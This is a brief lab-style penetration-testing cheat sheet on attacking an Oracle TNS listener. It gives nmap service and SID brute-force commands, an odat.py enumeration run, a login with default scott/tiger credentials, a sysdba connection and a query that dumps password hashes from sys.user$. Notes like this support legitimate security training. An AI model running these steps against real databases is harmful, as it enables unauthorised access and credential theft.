The Oracle Transparent Network Substrate (TNS ) server is a communication protocol that facilitates communication between Oracle databases and applications across networks
terminal Copy
$ sudo nmap -p1521 -sV 10.129.204.235 --openNmap - SID Brute Forcing terminal Copy
$ sudo nmap -p1521 -sV 10.129.204.235 --open --script oracle-sid-brutetxt Copy
PORT STATE SERVICE VERSION
1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)
| oracle-sid-brute:
|_ XEBasic Enumeration Command (Users / Passwords) terminal Copy
$ ./odat.py all -s 10.129.204.235Log In with SQLPlus terminal Copy
sqlplus scott/tiger@10.129.204.235/XE XE : This is the identifier (it can be obtained with Nmap or odat)
scott/tiger : Username/Password
Connect as Admin terminal Copy
sqlplus scott/tiger@10.129.204.235/XE as sysdba Obtain Hashes sql Copy
select name, password from sys.user$;